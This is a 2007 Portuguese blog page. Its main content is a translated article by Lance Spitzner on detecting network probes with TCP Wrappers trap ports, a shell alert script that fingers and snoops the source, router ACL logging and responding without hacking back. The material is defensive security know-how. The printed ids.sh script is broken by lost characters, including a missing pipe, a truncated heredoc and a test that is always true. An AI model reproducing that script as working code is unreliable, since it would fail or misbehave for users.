Após isto, você terá que ATIVAR o Windows, visitando a página: http://www.microsoft.com/genuine/default.aspx?displaylang=pt-br

Como vemos, o processo de regularização de sua cópia do Sistema Windows, é bem simples e não impacta EM NADA o que já está instalado no seu micro.

Para aqueles que ainda não querem gastar dinheiro "comprando" uma licença de sistema operacional, lembramos que ainda existem ótimas soluções gratuitas no mundo linux (como por exemplo a distribuição UBUNTU), que são completamente gratuitas, possuem ótimos recursos, atendem a grande maioria das necessidades de informática de um usuário comum, e com eles não gastarão nada em licença e estarão completamente legais.

Quanto a usar cópias "não oficiais" do Windows, alertamos que é "ilegal", e portanto não há NENHUMA justificativa para tal.

segunda-feira, 24 de setembro de 2007

DETECÇÃO DE INVASÃO

Sabendo quando alguém está batendo em sua porta
por Lance E. Spitzner

Sua rede está sendo pesquisada atrás de vulnerabilidades. Isto pode acontecer somente uma vez por mês ou duas vezes por dia, não importa, existem pessoas lá fora que estão sondando tua rede e sistemas procurando fraquezas. Posso falar com certeza por que ainda não trabalhei em uma rede que não tivesse sido sondada. Minha rede pessoal de seis máquinas, em minha residência, está conectada a uma linha ISDN dedicada. Esta rede não tem nenhuma informação de valor, nem representa nenhuma organização, e mesmo assim ela é sondada duas a quatro vezes por semana. Se você tem um sistema ou rede conectado à Internet, você é um alvo. Este artigo discute como você pode proteger-se detectando estas tentativas de invasão. Também veremos o que pode ser feito quando estas tentativas são descobertas.

CONFIGURANDO A DETECÇÃO DE INVASÃO
Os métodos que iremos discutir são simples de usar e de implementar. Para organizações maiores ou com mais conscientes da segurança, deve-se considerar sistemas de detecção de intrusos de terceiros, como o Network Flight Recorder (http://www.nfr.net/nfr/). Estes sistemas mais avançados de IDS usam análise de tráfego e algoritmos avançados para determinar se uma sondagem foi feita. Nossa abordagem será um pouco mais simples.

Existe uma variedade de sondagens diferentes que os hackers tentam. O primeiro tipo para o qual nos iremos preparar é o mais comum, a pesquisa de portas (port scans). Pesquisas de porta é o que acontece quando um indivíduo tenta conectar-se a uma variedade diferente de portas. Esta pesquisas podem ser usadas contra um alvo específico, ou usadas para pesquisar intervalos inteiros de endereços IP, geralmente escolhidos de forma aleatória. Este é um dos métodos de aquisição de informações mais popular usados por hackers, hoje em dia, uma vez que identificam portas e serviços abertos.

Para detectar estas pesquisas, vamos montar um sistema que envie mails de alerta sempre que alguém se conectar a uma determinada porta. Priemiro, identificamos de três a cinco portas mais comumente pesquisadas. Então selecionamos dois a tres sistemas para vigiar estas portas. Quando estas portas são pesquisadas, o sistema registra (log) a tentativa, executa várias ações predeterminadas, e envia uma um email de alerta para um ponto de contato.

O resultado final é que você vai receber uma mensagem para cada porta pesquisada. Se você tem 3 sistema, cada um vigiando 4 portas, então você irá receber até 12 emails de uma simples pesquisa de porta. Entretanto, este não é normalmente o caso. Se houverem hackers pesquisando uma rede inteira, eles estão procurando, normalmente, por uma única vulnerabilidade, como o imap (porta 143). neste caso, iremos receber somente três emails, um de cada sistema. Quando estão pesquisando um único sistema, geralmente fazem uma pesquisa em um intervalo de portas, como da porta 1 a 1024. Neste caso, receberemos somente 4 emails, um para cada porta do sistema. Baseado nos emails que você recebe, é fácil determinar em que o invasor está interessado. Veja a figura 1 (no fim do texto).

Para implementar esta metodologia, primeiro identificamos dois ou três sistemas que serão usados para monitoração. Geralmente eu seleciono servidores DNS, pois são alvos primários, muitas ferramentas de pesquisa começam pesquisando Name Servers para construir um banco de dados de endereços IP. Então seleciono de três a cinco portas mais comumente pesquisadas. Certifique-se que você não está usando estas portas, ou sempre que alguém conectar-se a estas portas você receberá um alerta. Para identificar portas normalmente pesquisadas, os alertas CERT são um bom lugar para iniciar, você pode encontrar estes alertas em http://www.cert.org/. As portas que iremos utilizar são

imap (porta 143)
SMB (porta 139)
login (porta 513)
http (porta 80)

Prefiro estas portas por que os hackers normalmente pesquisam estas, mas a maioria dos sistemas não estarão usando as mesmas. Certifique-se que estas portas não estão realmente bloqueadas por um roteador ou firewall. Iremos então configurar vários sistemas para vigiarem estas portas, alertando-nos quando houver uma conexão.

Nossa implementação usa TCP Wrappers. Criado por Wietse Venema, TCP Wrappers permite que controlemos, registremos, e, mais importante, possamos reagir a qualquer sistema protegido. Quando alguém conecta-se a um dos sistemas definidos acima, TCP Wrappers vai regsitrar a conexão (via syslog) e então disparar nosso mecanismo de alerta.

Para aqueles que não tem o TCP Wrappers instalado, eu recomendo fortemente que o façam. É extremamente fácil de compilar, configurar e implementar. Você pode encontrar o mesmo em muitos repositórios de ferramentas, como em ftp://coast.cs.purdue.edu/pub/tools/unix. Antes de compilar o mesmo, habilite extensões de linguagem no Makefile (esta opção melhora a configurabilidade do programa). Iremos utilizar esta capacidade para nossos objetivos de detecção de invasão. Para mais informações sobre a instalação de TCP Wrappers, eu recomendo que leia meu artigo "Armoring Solaris".

Uma vez o TCP Wrappers compilado e instalado, vamos proteger as quatro portas definidas acima. As portas são definidas primeiramente em /etc/services a então acrescentadas ao arquivo /etc/inetd.conf. Abaixo há um exemplo de como proteger o imap no arquivo /etc/inetd.conf.

imap stream tcp nowait root /usr/local/bind/tcpd imap.trap

Quando alguém conecta-se com a porta 143, o tcpd aceita a conexão do inetd. Então pesquisa no arquivo /etc/hosts.allow pelo controle de acesso. É onde definimos quais conexões tem permissão para lançar o alerta. Finalmente, ele termina por lançar o imap.trap. Será necessário mudar imap.trap para cada serviço respectivamente, como http.trap para http ou smb.trap para smb. A seguir temos um exemplo da entrada em /etc/hosts.allow, que nos alerta contra uma possível sonda:

imap.trap: ALL: spawn (/var/adm/ids.sh %d %h %H)

Ela informa ao tcpd para aceitar todas as conexões à porta 143, não importando o IP, e iniciar nosso script de detecção de intruso, o script que irá nos alertar da tentativa. Queremos o comando spawn, em vez de twist, pois o twist utiliza o cliente remoto para stdout (saída padrão) e stderr (saída padrão de erros). As três expansões de parâmetros que seguem ids.sh (definidas pelo TCP Wrappers) são variáveis.

O script /bar/adm/ids.sh é onde toda a ação acontece. Você pode modificá-lo de acordo com seu gosto pessoal. Foi incluído um exemplo que classifica os dados, executa um safe_finger ao cliente, efetua um email ao ponto de contato, e, opcionalmente, lança um snoop para rastrear qualquer ação adicional (veja a Figura 2).

A partir de agora, sempre que alguém fizer conexão a uma das portas predeterminadas, receberemos um email formatado com todos os dados críticos. Por exemplo, se um usuário pesquisar nossa rede atrás de portas 143, a procura de vulnerabilidades imap. Três de nossos sistemas estarão "ouvindo" a tal porta. A conexão é feita, e o tcpd é lançado. Este examina /etc/hosts.allow, e encontra uma entrada para imap.trap. Este procedimento lança nosso script de detecção de intrusão /var/adm/ids.sh, que classifica os dados, efetua um finger ao cliente, e envia um email de alerta. Existe também a opção de lançar uma ferramenta, no caso, o snoop. A última coisa que acontece é que o tcpd tenta executar /usr/sbin/imap.trap, que não é encontrado. O tcpd sai, registrando um erro no syslog. Para evitar isto, você pode criar um shell script /usr/sbin/imap.trap, que não faz nada além de sair.

Uma coisa que deve-se ter em mente são os ataques do tipo "Denial of Service" (N.T.: DoS - Negação de Serviço, um ataque feito de forma a sobrecarregar um serviço, até que o mesmo não consiga mais atender demandas legítimas, tipo sobrecarregar um servidor Web a ponto do mesmo não ser mais acessível por ninguém). Quanto mais coisas teu script fizer, mais ele irá sobrecarregar o sistema. Um ataque pode desabilitar o sistema ao fazer múltiplas conexões para determinadas portas, criando múltiplos processos do script. Recomenda-se que, se você implementa uma variedade de ações em seus scripts, estabeleça um limite ao número de processos por endereço IP fonte. Uma maneira simples de conseguir isto é usar um grep sobre o tcpdlog, procurando pela origem. Se você não encontra a fonte, é a primeira vez que o sistema efetuou um teste sobre você, então execute o script de classificação. Caso contrário, o sistema origem já havia feito uma pesquisa anteriormente, o que pede apenas um registro da entrada.

Uma alternativa ao uso de TCP Wrappers é registrar rotas. Muitos de nós não podem ser dar ao luxo de usar três sistemas para detectar intrusões. Entretanto, pode-se usar a metodologia descrita acima sobre seu roteador Internet. Novamente, você seleciona dois ou três sistemas e três ou quatro portas para serem monitoradas. Crie uma ACL (Access Control List - Lista de Controle de Acessos) em seu roteador que proíba as portas e sistemas especificados. Faça esta ACL registrar todas as tentativas de conexão em um servidor de syslog. Desta forma, é possível monitorar qualquer tráfego proibido e rapidamente determinar se sua rede foi testada. Eu obtive muito sucesso implementando isto como o Swatch, que automatiza tanto o processo de filtragem quanto o processo de alerta.

Estas soluções não são à prova de idiotas. Muitos dos port scanners atuais não completam a seqüência SYN/ACK durante uma conexão. De fato, muitas pesquisas usam pacotes inválidos (como as pesquisas FIN e Xmas). O método que foi discutido aqui não detecta algumas destas pesquisas. Para uma detecção de intrusos mais robusta, há a necessidade de ferramentas mais avançadas, capazes de detectar estas pesquisas "stealth".

Existem outras maneiras de implementar detecção de intrusos em seu sistema. Novamente, é preciso primeiro identificar a metodologia da invasão, e então implementar um procedimento de rastreio e alerta. Um exemplo seria tentativas de força bruta para efetuar um login. Cinco tentativas consecutivas de fazer login são registradas no arquivo /var/adm/loginlog. Isto pode acontecer quando um hacker está testando seu sistema atrás de combinações fracas de login/senha. Eu configurei meu sistema para executar um cronjob diariamente e verificar se existem quaisquer entradas no arquivo. Se existem, ou alguém esqueceu sua senha e está tentando adivinhar a mesma, ou um hacker em potencial está tentando uma entrada usando força bruta. O cronjob envia as entradas via email, copia para um arquivo, e limpa o arquivo de log. Outro exemplo é o ataque /cgi-bin/test-cgi, comumente usado contra servidores web. Em vez de desabilitar este script cgi, eu alterei o mesmo para efetuar um log e enviar um mail quando alguém tenta esta invasão. Isto não envolve mais que a alteração do shell script test-cgi (certifique-se de testar o mesmo antes de implementá-lo em seu sistema).

Como demonstramos, existem uma variedade de maneiras simples de implementar alguma detecção básica de invasão. Apesar de não serem à prova de idiotas, estas metodologias ajudam a identificar sondagens potenciais e a proteger sua rede. Agora, que você implementou detecção de intruso, o que fará quando descobrir que seus sistemas estão sendo testados?

REAGINDO A UMA INVASÃO O primeiro paso é confirmar que seus sitemas estão realmente sendo sondados. Só por que você recebe um alerta de email do seu TCP Wrappper NÃO significa que você está sendo testado. Um usuário confuso pode estar conectando ao sistema errado, ou alguém simplesmente apertou uma tecla errada. Nada é mais embaraçante que acusar alguém de algo que esta pessoa não fez. Entretanto, se você tem três sistemas consecutivos pesquisados na mesma porta e na mesma hora, isto indica que você foi sondado. E agora?

A última coisa que você quer é lançar um contra ataque no sistema e tirar o mesmo do ar. Quando sua rede é pesquisada, você pode se sentir frustrado e querer devolver a frustração ao sistema que sondou você... Já que tem alguém se preparando para te atacar, você não deveria agir? Entretanto, você deve ser cuidadoso na forma de reagir.

Seus sistemas podem ter sido pesquisados, mas por acidente. Muitas vezes, grandes empresas pesquisam suas redes internacionais e escritórios remotos. Alguém pode ter pesquisado a rede errada (pessoalmente sei de um acontecimento destes em uma organização). Geralmente os responsáveis pelo sistema que pesquisou sua rede não tem idéia do que aconteceu. Grandes sistemas com centenas de usuários podem ter um usuário malicioso que esteja usando ilegalmente sua conta para sondar outras redes. Ou o sistema foi alterado e está sendo usado como ponto de lançamento. De qualquer forma, o administrador do sistema certamente vai gostar de saber e corrigir o problema. O IP de origem mostrado em seu registro pode não ser válido, podendo até mesmo ser uma isca. Muitas ferramentas de pesquisa permitem ao usuário alterar o endereço IP da origem dos pacotes para qualquer coisa que o usuário queira. Seus logs podem mostrar que seu sistema foi pesquisado de cinco diferentes origens, mas você foi pesquisado, na verdade, a partir da mesma máquina. O usuário está tentando esconder a verdadeira fonte da sonda pelo uso de falsos endereços IP. É extremamente difícil determinar qual das pesquisas é a verdadeira sonda. E, também, o usuário pode ter falsificado o endereço IP para colocar a culpa em outra pessoa. Mesmo com as melhores intenções, você pode fazer mais mal que bem. Por exemplo, digamos que você descubra que o sistema que efetuou a pesquisa foi atacado e alterado, e está sendo usado como ponto de lançamento. Você identifica a saída que o hacker deixou, obtém acesso, copia todas as ferramentas e reigistros usados, e faz uma notificação ao proprietário do sistema e várias organizações de resposta a emergências. Mesmo pensando que você fez a coisa certa, você causou mais mal que bem.

Provavelmente o hacker substituiu várias ferramentasde monitoramento e registros no sistema comprometido. Ele pode descobrir que você esteve lá, e simplesmente apagar o sistema para apagar qualquer traço de sua passagem (destruindo a máquina desta forma). O administrador do sistema pode saber do hacker e estar trabalhando com as autoridades. Você acabou de detonar a investigação toda. Você pode receber a culpa do incidente. O proprietário do sistema não te conhece, e pode acusar você de ser o hacker original, que estaria tentando proteger-se colocando a culpa em outra pessoa. Basicamente, existem muitas coisas que podem dar errado e não muitas coisas que podem dar certo quando você age por conta própria. A melhor coisa que você pode fazer é primeiro obter o máximo de informações que puder. Identifique qualquer registro que mostre as sondagens partindo do endereço identificado. Então identifique os indivíduos e organizações responsáveis pelo incidente. O banco de dados wois, dig, e nslookup são excelentes métodos para descobrir quem é o responsável pelo sistema. Envie um email ao mesmo com detalhes sobre o que aconteceu, quando, e inclua entradas de log para verificação. Você pode tambem enviar uma cópia para a organização, para manter os mesmos informados. Se as invasões forem sérias o suficiente, faça contato com organizações de resposta profissionais, como o CERT http://www.cert.org/ ou o CIAC em http://www.ciac.org/. Se as tentativas de invasão continuarem, sem resposta de parte dos proprietários do sistema, entre em contato com a organização. O telefone pode ser uma ferramente muito poderosa.

CONCLUSÃO Cedo ou tarde, teus sistemas e redes podem ser sondados atrás de vulnerabilidades. Tomando algumas das medidas básicas que discutimos, você estará melhor preparado para registrar e identificar estas tentativsa. Uma vez identificadas, você pode rastrear estas sondas e conseguir um melhor entendimento das ameaças à sua rede e a reagir a estas ameaças. Quando identificar a ameaça, é melhor coletar o máximo possível de informações, e notificar os indivíduos e a organização responsável pelo sistema. Agir por conta própria geralmente cria uma baderna, causando mais problemas que benefícios. Trabalhando em conjunto com outros, pode-se chegar a uma solução melhor.

###Figura 1
Subject: ### Intrusion Detection Alert ###
You have received this alert because the networkis potentially being scanned. The information belowis the packet that was logged and dropped.
Date: Sat Jan 24Time: 18:47:46Source: ICARUS.CC.UIC.EDUDestination: lisaService: imap
--- Finger Results ---
[ICARUS.CC.UIC.EDU]
Login Name TTY Idle When Where
Spitzner Lance Everett Spitzn pts/72 Sun 18:42 lspitz-4.soho.entera
Figura 2
#!/bin/ksh## Script launched by tcpd for intrusion detection purposes#
USER=lance@spitzner.netSRV=`echo $1 cut -f1 -d.`DATE=`date "+%a %b %e"`TIME=`date "+%T"`FINGER=`/usr/local/bin/safe_finger @$2`
MAIL=/usr/bin/mail
$MAIL $USER <You have received this alert because the networkis potentially being scanned. The information belowis the packet that was logged and dropped.
Date: $DATETime: $TIMESource: $2Destination: $3Service: $SRV
--- Finger Results ---
$FINGER
EOF
##### If the service is imap, lets go ahead and snoop the session.
if [ $SRV=imap ]; then
snoop -v -c 5000 -o /var/adm/$2_snoop.$$ $2 &
fi
Biografia do Autor Lance Spitzner gosta de aprender detonando seus sistemas Unix em casa. Antes disso, ele foi um Oficial na Rapid Deployment Force, onde detonava coisas de natureza bem diferente. Você pode encontrá-lo em lance@spitznet.net###

Transforme Sua Sala Em Cinema

Transforme Sua Sala Em Cinema

CANAL 01 --- AVATAR - de 15/01 até 17/01

CANAL 02 --- 2012 --- Dublado de 15/01 até 17/01

CANAL 03 --- Alvin e os Esquilos 2 – Dublado